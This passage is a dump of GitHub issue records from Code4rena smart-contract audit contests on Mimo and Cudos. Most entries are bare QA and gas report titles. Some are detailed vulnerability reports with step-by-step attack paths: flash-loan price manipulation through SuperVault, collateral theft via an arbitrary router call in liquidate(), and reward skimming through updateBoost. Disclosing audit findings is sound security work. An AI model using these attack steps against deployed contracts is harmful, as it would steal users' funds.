"labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-04-mimo-findings", "body": "SuperVault's leverageSwap and emptyVaultOperation can become stuck"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/141", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/140", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/139", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/138", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/137", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "Users can use updateBoost function to claim unfairly large rewards from liquidity mining contracts for themselves at cost of other users.", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/136", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-04-mimo-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-mimo/blob/b18670f44d595483df2c0f76d1c57a7bfbfbc083/core/contracts/liquidityMining/v2/PARMinerV2.sol#L159-L165 https://github.com/code-423n4/2022-04-mimo/blob/b18670f44d595483df2c0f76d1c57a7bfbfbc083/core/contracts/liquidityMining/v2/GenericMinerV2.sol#L88-L94 # Vulnerability details ## Impact Users aware of this vulnerability could effectively steal a portion of liquidity mining rewards from honest users. Affected contracts are: `SupplyMinerV2`, ` DemandMinerV2`, ` PARMinerV2` `VotingMinerV2` is less affected because locking veMIMO in `votingEscrow` triggers a call to `releaseMIMO` of this miner contract (which in turn updates user's boost multiplier). ## Proof of Concept Let's focus here on `SupplyMinerV2`. The exploits for other liquidity mining contracts are analogous. ### Scenario 1: Both Alice and Bob deposit 1 WETH to `coreVaults` and borrow 100 PAR from `coreVaults`. They both have no locked veMIMO. Now they wait for a month without interacting with the protocol. In the meantime, `SupplyMinerV2` accumulated 100 MIMO for rewards. Alice locks huge amount of veMIMO in `votingEscrow`, so now her `boostMultiplier` is 4. Let's assume that Alice and Bob are the only users of the protocol. Because they borrowed the same amounts of PAR, they should have the same stakes for past month, so a fair reward for each of them (for this past month) should be 50 MIMO. If they simply repay their debts now, 50 MIMO is indeed what they get. However if Alice calls `supplyMiner.updateBoost(alice)` before repaying her debt, she can claim 80 MIMO and leave only 20 MIMO for Bob. She can basically apply the multiplier 4 to her past stake. ### Scenario 2: Both Alice and Bob deposit 1 WETH to `coreVaults` and borrow 100 PAR from `coreVaults`. Bob locks huge amount of veMIMO in `votingEscrow` for 4 years, so now his `boostMultiplier` is 4. Alice and Bob wait for 4 years without interacting with the protocol. `SupplyMinerV2` accumulated 1000 MIMO rewards. Because of his locked veMIMO, Bob should be able to claim larger reward than Alice. Maybe not 4 times larger but definitely larger. However, if Alice includes a transaction with call `supplyMiner.updateBoost(bob)` before Bob's `vaultsCore.repay()` , then she can claim 500 MIMO. She can effectively set Bob's `boostMultiplier` for past 4 years to 1. ## Tools Used Tested in Foundry ## Recommended Mitigation Steps I have 2 ideas: 1. Remove `updateBoost` function. There shouldn't be a way to update boost multiplier without claiming rewards and updating `_userInfo.accAmountPerShare` . So `releaseRewards` should be sufficient. 2. A better, but also much more difficult solution, would be to redesign boost updates in such a way that distribution of rewards no longer depends on when and how often boost multiplier is updated. If the formula for boost multiplier stays the same, this approach might require calculating integrals of the multiplier as a function of time. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/129", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/128", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "Non-standard ERC20 Tokens are Not Supported", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/127", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-04-mimo-findings", "body": "Non-standard ERC20 Tokens are Not Supported"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/124", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "Fund loss or theft by attacker with creating a flash loan and setting SuperVault as receiver so executeOperation() will be get called by lendingPool but with attackers specified params", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/123", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-04-mimo-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-mimo/blob/b18670f44d595483df2c0f76d1c57a7bfbfbc083/supervaults/contracts/SuperVault.sol#L76-L99 # Vulnerability details ## Impact According to Aave documentation, when requesting flash-loan, it's possible to specify a `receiver`, so function `executeOperation()` of that `receiver` will be called by `lendingPool`. https://docs.aave.com/developers/v/2.0/guides/flash-loans In the `SuperVault` there is no check to prevent this attack so attacker can use this and perform `griefing attack` and make miner contract lose all its funds. or he can create specifically crafted `params` so when `executeOperation()` is called by `lendingPool`, attacker could steal vault's user funds. ## Proof of Concept To exploit this attacker will do this steps: 1. will call `Aave lendingPool` to get a flash-loan and specify `SuperVault` as `receiver` of flash-loan. and also create a specific `params` that invoke `Operation.REBALANCE` action to change user vault's collateral. 2. `lendingPool` will call `executeOperation()` of `SuperVault` with attacker specified data. 3. `executeOperation()` will check `msg.sender` and will process the function call which will cause some dummy exchanges that will cost user exchange fee and flash-loan fee. 4. attacker will repeat this attack until user losses all his funds. ``` function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address, bytes calldata params ) external returns (bool) { require(msg.sender == address(lendingPool), \"SV002\"); (Operation operation, bytes memory operationParams) = abi.decode(params, (Operation, bytes)); IERC20 asset = IERC20(assets[0]); uint256 flashloanRepayAmount = amounts[0] + premiums[0]; if (operation == Operation.LEVERAGE) { leverageOperation(asset, flashloanRepayAmount, operationParams); } if (operation == Operation.REBALANCE) { rebalanceOperation(asset, amounts[0], flashloanRepayAmount, operationParams); } if (operation == Operation.EMPTY) { emptyVaultOperation(asset, amounts[0], flashloanRepayAmount, operationParams); } asset.approve(address(lendingPool), flashloanRepayAmount); return true; } ``` To steal user fund in `SupperVault` attacker needs more steps. in all these actions (`Operation.REBALANCE`, `Operation.LEVERAGE`, `Operation.EMPTY`) contract will call `aggregatorSwap()` with data that are controlled by attacker. ``` function aggregatorSwap( uint256 dexIndex, IERC20 token, uint256 amount, bytes memory dexTxData ) internal { (address proxy, address router) = _dexAP.dexMapping(dexIndex); require(proxy != address(0) && router != address(0), \"SV201\"); token.approve(proxy, amount); router.call(dexTxData); } ``` Attacker can put special data in `dexTxData` that make contract to do an exchange with bad price. To do this, attacker will create a smart contract that will do this steps: 1. manipulate price in exchange with flash loan. 2. make a call to `executeOperation()` by `Aave flash-loan` with `receiver` and specific `params` so that `SuperVault` will make calls to manipulated exchange for exchanging. 3. do the reverse of #1 and pay the flash-loan and steal the user fund. The details are: Attacker can manipulate swapping pool price with flash-loan, then Attacker will create specific `params` and perform steps 1 to 4. so contract will try to exchange tokens and because of attacker price manipulation and specific `dexTxData`, contract will have bad deals. After that, attacker can reverse the process of swap manipulation and get his flash-loan tokens and some of `SuperVault` funds and. then pay the flash-loan. ## Tools Used VIM ## Recommended Mitigation Steps There should be some state variable which stores the fact that `SuperVault` imitated flash-loan. When contract tries to start flash-loan, it sets the `isFlash` to `True` and `executeOperation()` only accepts calls if `isFlash` is `True`. and after the flash loan code will set `isFlash` to `False.` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/117", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/114", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/113", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/111", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "Return values are not checked for `transferFrom` and `transfer` calls to external tokens", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/110", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-mimo-findings", "body": "Return values are not checked for `transferFrom` and `transfer` calls to external tokens"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/109", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/108", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/106", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/105", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/104", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/102", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/101", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "in contract DemandMinerV2, function setFeeCollector() allows to set ZERO address for _feeCollector", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/98", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "in contract DemandMinerV2, function setFeeCollector() allows to set ZERO address for _feeCollector"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/97", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/96", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/95", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/92", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/89", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/88", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/87", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "User can call liquidate() and steal all collateral due to arbitrary router call", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/83", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-04-mimo-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-mimo/blob/b18670f44d595483df2c0f76d1c57a7bfbfbc083/core/contracts/liquidityMining/v2/PARMinerV2.sol#L126 https://github.com/Uniswap/v2-periphery/blob/2efa12e0f2d808d9b49737927f0e416fafa5af68/contracts/UniswapV2Router02.sol#L299 https://github.com/Uniswap/solidity-lib/blob/c01640b0f0f1d8a85cba8de378cc48469fcfd9a6/contracts/libraries/TransferHelper.sol#L47-L50 # Vulnerability details ## Impact A malicious user is able to steal all collateral of an unhealthy position in `PARMinerV2.sol`. The code for the `liquidate()` function is written so that the following steps are followed: - User calls `PARMinerV2.liquidate()` - PARMinerV2 performs the liquidation with `_a.parallel().core().liquidatePartial()` - PARMinerV2 receives the liquidated collateral - An arbitrary router function is called to swap the collateral to PAR - Finally, `PARMinerV2.liquidate()` checks that PARMinerV2's PAR balance is higher than the balance at the beginning of the function call. The exploit occurs with the arbitrary router call. The malicious user is able to supply the `dexTxnData` parameter which dictates the function call to the router. If the user supplied a function such as UniswapV2Router's `swapExactTokenForETH()`, then control flow will be given to the user, allowing them to perform the exploit. Note: The Mimo developers have stated that the routers used by the protocol will be DEX Aggregators such as 1inch and Paraswap, but this submission will be referring to UniswapV2Router for simplicity. It can be assumed that the dex aggregators currently allow swapping tokens for ETH. Continuing the exploit, once the attacker has gained control due to the ETH transfer, they are able to swap the ETH for PAR. Finally, they deposit the PAR with `PARMinerV2.deposit()`. This will cause the final check of `liquidate()` to pass because PARMinerV2's PAR balance will be larger than the start of the liquidation call. The attacker is able to steal all collateral from every unhealthy position that they liquidate. In the most extreme case, the attacker is able to open their own risky positions with the hope that the position becomes unhealthy. They will borrow the PAR and then liquidate themselves to take back the collateral. Thus effectively stealing PAR. ## Proof of Concept Steps for exploit: - Attacker monitors unhealthy positions. Finds a position to liquidate. - Attacker calls `PARMinerV2.liquidate()` - Position liquidated. Collateral transferred back to `PARMinerV2` - In the `liquidate()` function, attacker supplies bytes for `UniswapV2Router.swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)`. For `to`, they supply the attacker contract. - `swapExactTokensForETH()` firstly swaps the collateral for ETH and then transfers the ETH to the user with `TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);` - `TransferHelper.safeTransferETH()` contains a call to the receiver via `(bool success, ) = to.call{value: value}(new bytes(0));` - Therefore, the attacker contract will indeed gain control of execution. The attacker contract will then perform the following steps: - Swap the received ETH to PAR. - Deposit the PAR in `PARMinerV2` - Withdraw the deposited PAR. ## Tools Used Static review. ## Recommended Mitigation Steps The arbitrary call to the router contracts is risky because of the various functions that they can contain. Perhaps a solution is to only allow certain calls such as swapping tokens to tokens, not ETH. This would require frequently updated knowledge of the router's functions, though would be beneficial for security. Also, adding a check that the `_totalStake` variable has not increased during the liquidation call will mitigate the risk of the attacker depositing the PAR to increase the contract's balance. The attacker would have no option but to transfer the PAR to PARMinerV2 as is intended. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/82", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "Missing validation could cause `liquidatePartial` to revert", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/79", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "Missing validation could cause `liquidatePartial` to revert"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/78", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/75", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/74", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/72", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/71", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/68", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "BalancerV2LPOracle.sol incorrectly values LP when oracle decimals don't match", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/66", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-mimo-findings", "body": "BalancerV2LPOracle.sol incorrectly values LP when oracle decimals don't match"}, {"title": "Remove pragma experimental ABIEncoderV2 line from v0.8 contracts", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/63", "labels": ["QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "Remove pragma experimental ABIEncoderV2 line from v0.8 contracts"}, {"title": "InceptionVaultsCore:Unsupported fee-on-transfer tokens", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/61", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-mimo-findings", "body": "InceptionVaultsCore:Unsupported fee-on-transfer tokens"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/60", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/59", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/58", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "Decimal token underflow could produce loose of funds", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/55", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-04-mimo-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-mimo/blob/b18670f44d595483df2c0f76d1c57a7bfbfbc083/core/contracts/oracles/GUniLPOracle.sol#L47 https://github.com/code-423n4/2022-04-mimo/blob/b18670f44d595483df2c0f76d1c57a7bfbfbc083/core/contracts/oracles/GUniLPOracle.sol#L51 # Vulnerability details ## Impact It is possible to produce underflows with specific tokens which can cause errors when calculating prices. ## Proof of Concept The pragma is `pragma solidity 0.6.12;` therefore, integer overflows must be protected with safe math. But in the case of [GUniLPOracle](https://github.com/code-423n4/2022-04-mimo/blob/b18670f44d595483df2c0f76d1c57a7bfbfbc083/core/contracts/oracles/GUniLPOracle.sol#L51), there is a decimal subtraction that could underflow if any token in the pool has more than 18 decimals. this could cause an error when calculating price values. ## Recommended Mitigation Steps Ensure that tokens have less than 18 decimals. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/51", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/23", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/20", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/14", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/13", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "Generic ReEntrancy in DemandMinerV2 deposit and withdraw", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/12", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-mimo-findings", "body": "Generic ReEntrancy in DemandMinerV2 deposit and withdraw"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/11", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "Misleading variable usage", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/10", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "Misleading variable usage"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/3", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/2", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/176", "labels": [], "target": "2022-05-cudos-findings", "body": "Agreements & Disclosures"}, {"title": "Signature malleability for ecrecover", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/175", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "Signature malleability for ecrecover"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/172", "labels": ["bug", "invalid", "sponsor disputed"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/169", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/168", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/166", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/164", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/156", "labels": ["bug", "duplicate", "disagree with severity", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/153", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/152", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/151", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/149", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/148", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/147", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/145", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Validators can cause transactions where they are not the one being paid the fees, to revert", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/143", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-cudos-findings", "body": "Validators can cause transactions where they are not the one being paid the fees, to revert"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/141", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "The Gravity.sol should have pause/unpause functionality", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/139", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-05-cudos-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-cudos/blob/main/solidity/contracts/Gravity.sol#L175 # Vulnerability details ## Impact In case a hack is occuring or an exploit is discovered, the team (or validators in this case) should be able to pause functionality until the necessary changes are made to the system. Additionally, the gravity.sol contract should be manged by proxy so that upgrades can be made by the validators. Because an attack would probably span a number of blocks, a method for pausing the contract would be able to interrupt any such attack if discovered. To use a thorchain example again, the team behind thorchain noticed an attack was going to occur well before the system transferred funds to the hacker. However, they were not able to shut the system down fast enough. (According to the incidence report here: https://github.com/HalbornSecurity/PublicReports/blob/master/Incident%20Reports/Thorchain_Incident_Analysis_July_23_2021.pdf) ## Proof of Concept https://github.com/code-423n4/2022-05-cudos/blob/main/solidity/contracts/Gravity.sol#L175 ## Tools Used Code Review ## Recommended Mitigation Steps Pause functionality on the contract would have helped secure the funds quickly. "}, {"title": "Access Control Misconfiguration allows whitelisted user to add users to whitelist", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/136", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "Access Control Misconfiguration allows whitelisted user to add users to whitelist"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/135", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/134", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/133", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/132", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/130", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/129", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Calls inside loops that may address DoS.", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/126", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-cudos-findings", "body": "Calls inside loops that may address DoS."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/125", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/124", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Missing check in the updateValset function", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/123", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-05-cudos-findings", "body": "Missing check in the updateValset function"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/121", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/118", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/117", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/116", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/113", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/112", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": 